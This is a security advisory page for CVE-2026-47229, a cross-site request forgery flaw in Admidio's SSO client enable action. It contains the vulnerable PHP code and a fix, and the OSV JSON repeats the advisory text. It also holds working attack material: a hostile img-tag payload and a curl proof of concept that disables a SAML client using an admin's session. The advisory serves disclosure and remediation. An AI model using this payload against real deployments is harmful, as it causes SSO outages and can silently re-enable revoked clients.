CVE-2026-47229: Admidio CSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-xg76-5qj2-2hhv
CVSS 5.4
CWE-352
Published
Advisory Summary

CVE-2026-47229 is a MODERATE (CVSS 5.4) csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Admidio libraries in the Packagist ecosystem. The issue involves csrf in sso client `enable` action toggles saml/oidc clients without token validation. Remediation is available by upgrading affected packages to version 5.0.10.

CVE-2026-47229 at a Glance

CVE Identifier CVE-2026-47229
GHSA Identifier GHSA-xg76-5qj2-2hhv
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-47229

To remediate this vulnerability, upgrade all affected Admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.10
Upgrade admidio/admidio to 5.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47229, inspect your project dependencies for Admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `modules/sso/clients.php` validates an `adm_csrf_token` on every state-changing branch except `enable`. The `enable` case loads the SAML or OIDC client by UUID, calls `$client->enable($enabled)`, and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it. ## Details ### Vulnerable Code `modules/sso/clients.php:84-115` — the file's other branches each begin with `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);`, but `case 'enable':` does not: ```php case 'delete_oidc': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $oidcService = new OIDCService($gDb, $gCurrentUser); $client = $oidcService->getClientFromUUID($getClientUUID); $client->delete(); echo json_encode(array('status' => 'success')); break; case 'enable': // <- no CSRF validation $enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean'); $client = new SAMLClient($gDb); $client->readDataByUuid($getClientUUID); if ($client->isNewRecord()) { // Not a SAML record, so try OIDC: $client = new OIDCClient($gDb); $client->readDataByUuid($getClientUUID); } if ($client->isNewRecord()) { throw new Exception('SYS_SSO_INVALID_CLIENT'); } $client->enable($enabled); $client->save(); echo json_encode(['success' => true]); break; ``` The `enable($enabled)` call is documented to set a single boolean column on the SAML / OIDC client row — `smc_enabled` for SAML, `ocl_enabled` for OIDC — and `save()` persists the change immediately. The handler accepts plain GET (`admFuncVariableIsValid($_GET, 'enabled', 'boolean')`), so a `<img src=...>` or auto-submitting form is sufficient. ### Exploitation Flow 1. Attacker prepares a hostile page that loads (e.g.) `<img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">`. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes `data-uuid` attributes in the rendered HTML, and SSO metadata endpoints (e.g. `modules/sso/saml.php?metadata=1&uuid=...`) confirm valid UUIDs by returning XML. 2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set `SameSite=Strict`). 3. The server runs `case 'enable':` as the admin, sets `smc_enabled=0` (or `ocl_enabled=0`), and replies `{"success":true}`. 4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets `SYS_SSO_INVALID_CLIENT` on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on. The attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party). ## PoC Tested on HEAD `c5cde53`. To produce a deterministic test target, an SSO client is provisioned directly in the DB: ``` # 0. seed a SAML client mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL' INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled, smc_timestamp_create, smc_usr_id_create) VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1, NOW(), 2); SQL mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';" smc_uuid smc_client_name smc_enabled aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1 # 1. CSRF lure — admin's browser, no token supplied, GET only curl -b $admin_cookie -i \ "http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0" HTTP/1.1 200 OK {"success":true} # 2. observe the change mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';" smc_enabled 0 ``` The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back. ## Impact In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in: * **SSO outage** for whichever client UUID the attacker chose. Users who depend on `app1.example/sso` (or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand. * **Stealthy re-activation** of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing `enabled=1` instead of `0`. The impact is limited to the SAML / OIDC `_enabled` column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (`A:L`) because only one client at a time is hit, and only the SSO path of that client. Integrity is `I:L` because the `_enabled` bit is the only mutated column. `UI:R` reflects the admin-must-visit requirement; `PR:N` because the attacker needs no Admidio credentials of their own. ## Recommended Fix Add the CSRF check and switch the trigger from GET to POST: ```php case 'enable': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { throw new Exception('SYS_INVALID_PAGE_VIEW'); } $enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean'); $client = new SAMLClient($gDb); $client->readDataByUuid($getClientUUID); if ($client->isNewRecord()) { $client = new OIDCClient($gDb); $client->readDataByUuid($getClientUUID); } if ($client->isNewRecord()) { throw new Exception('SYS_SSO_INVALID_CLIENT'); } $client->enable($enabled); $client->save(); echo json_encode(['success' => true]); break; ``` Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders `adm_csrf_token`). A regression test should issue a `GET /modules/sso/clients.php?mode=enable&uuid=<x>&enabled=0` with an admin cookie but no token, and assert the response rejects the request and the client's `_enabled` column is unchanged.

CVE-2026-47229 Affected Admidio Versions

1 component(s)
Fixed Versions:
5.0.10
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.10
5.0.10

References

Frequently Asked Questions

What is CVE-2026-47229?
CVE-2026-47229 is a security vulnerability in Admidio involving CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation under CWE-352: Cross-Site Request Forgery (CSRF).
Which Admidio versions are affected?
Affected versions include releases prior to 5.0.10 across affected packages: admidio/admidio.
What version fixes CVE-2026-47229?
Upgrading to 5.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.10. Upgrade your dependency to 5.0.10 or later.
What is the CVSS score of CVE-2026-47229?
CVE-2026-47229 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-47229?
CVE-2026-47229 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-47229?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xg76-5qj2-2hhv",
  "modified" : "2026-05-29T22:01:58Z",
  "published" : "2026-05-29T22:01:58Z",
  "aliases" : [ "CVE-2026-47229" ],
  "summary" : "Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation",
  "details" : "## Summary\n\n`modules/sso/clients.php` validates an `adm_csrf_token` on every state-changing branch except `enable`. The `enable` case loads the SAML or OIDC client by UUID, calls `$client->enable($enabled)`, and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.\n\n## Details\n\n### Vulnerable Code\n\n`modules/sso/clients.php:84-115` — the file's other branches each begin with `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);`, but `case 'enable':` does not:\n\n```php\ncase 'delete_oidc':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $oidcService = new OIDCService($gDb, $gCurrentUser);\n    $client = $oidcService->getClientFromUUID($getClientUUID);\n    $client->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n\ncase 'enable':                                          // <- no CSRF validation\n    $enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');\n    $client = new SAMLClient($gDb);\n    $client->readDataByUuid($getClientUUID);\n    if ($client->isNewRecord()) {\n        // Not a SAML record, so try OIDC:\n        $client = new OIDCClient($gDb);\n        $client->readDataByUuid($getClientUUID);\n    }\n    if ($client->isNewRecord()) {\n        throw new Exception('SYS_SSO_INVALID_CLIENT');\n    }\n    $client->enable($enabled);\n    $client->save();\n    echo json_encode(['success' => true]);\n    break;\n```\n\nThe `enable($enabled)` call is documented to set a single boolean column on the SAML / OIDC client row — `smc_enabled` for SAML, `ocl_enabled` for OIDC — and `save()` persists the change immediately. The handler accepts plain GET (`admFuncVariableIsValid($_GET, 'enabled', 'boolean')`), so a `<img src=...>` or auto-submitting form is sufficient.\n\n### Exploitation Flow\n\n1. Attacker prepares a hostile page that loads (e.g.) `<img src=\"http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0\">`. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes `data-uuid` attributes in the rendered HTML, and SSO metadata endpoints (e.g. `modules/sso/saml.php?metadata=1&uuid=...`) confirm valid UUIDs by returning XML.\n2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set `SameSite=Strict`).\n3. The server runs `case 'enable':` as the admin, sets `smc_enabled=0` (or `ocl_enabled=0`), and replies `{\"success\":true}`.\n4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets `SYS_SSO_INVALID_CLIENT` on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.\n\nThe attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).\n\n## PoC\n\nTested on HEAD `c5cde53`. To produce a deterministic test target, an SSO client is provisioned directly in the DB:\n\n```\n# 0. seed a SAML client\nmariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'\nINSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,\n                              smc_timestamp_create, smc_usr_id_create)\nVALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,\n        NOW(), 2);\nSQL\n\nmariadb ... admidio -e \"SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';\"\nsmc_uuid                              smc_client_name  smc_enabled\naaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee  Test SAML        1\n\n# 1. CSRF lure — admin's browser, no token supplied, GET only\ncurl -b $admin_cookie -i \\\n  \"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0\"\nHTTP/1.1 200 OK\n{\"success\":true}\n\n# 2. observe the change\nmariadb ... admidio -e \"SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';\"\nsmc_enabled\n0\n```\n\nThe change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.\n\n## Impact\n\nIn an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:\n\n* **SSO outage** for whichever client UUID the attacker chose. Users who depend on `app1.example/sso` (or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand.\n* **Stealthy re-activation** of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing `enabled=1` instead of `0`.\n\nThe impact is limited to the SAML / OIDC `_enabled` column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (`A:L`) because only one client at a time is hit, and only the SSO path of that client. Integrity is `I:L` because the `_enabled` bit is the only mutated column. `UI:R` reflects the admin-must-visit requirement; `PR:N` because the attacker needs no Admidio credentials of their own.\n\n## Recommended Fix\n\nAdd the CSRF check and switch the trigger from GET to POST:\n\n```php\ncase 'enable':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    }\n\n    $enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean');\n    $client = new SAMLClient($gDb);\n    $client->readDataByUuid($getClientUUID);\n    if ($client->isNewRecord()) {\n        $client = new OIDCClient($gDb);\n        $client->readDataByUuid($getClientUUID);\n    }\n    if ($client->isNewRecord()) {\n        throw new Exception('SYS_SSO_INVALID_CLIENT');\n    }\n    $client->enable($enabled);\n    $client->save();\n    echo json_encode(['success' => true]);\n    break;\n```\n\nUpdate the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders `adm_csrf_token`).\n\nA regression test should issue a `GET /modules/sso/clients.php?mode=enable&uuid=<x>&enabled=0` with an admin cookie but no token, and assert the response rejects the request and the client's `_enabled` column is unchanged.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-xg76-5qj2-2hhv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:01:58Z",
    "nvd_published_at" : null
  }
}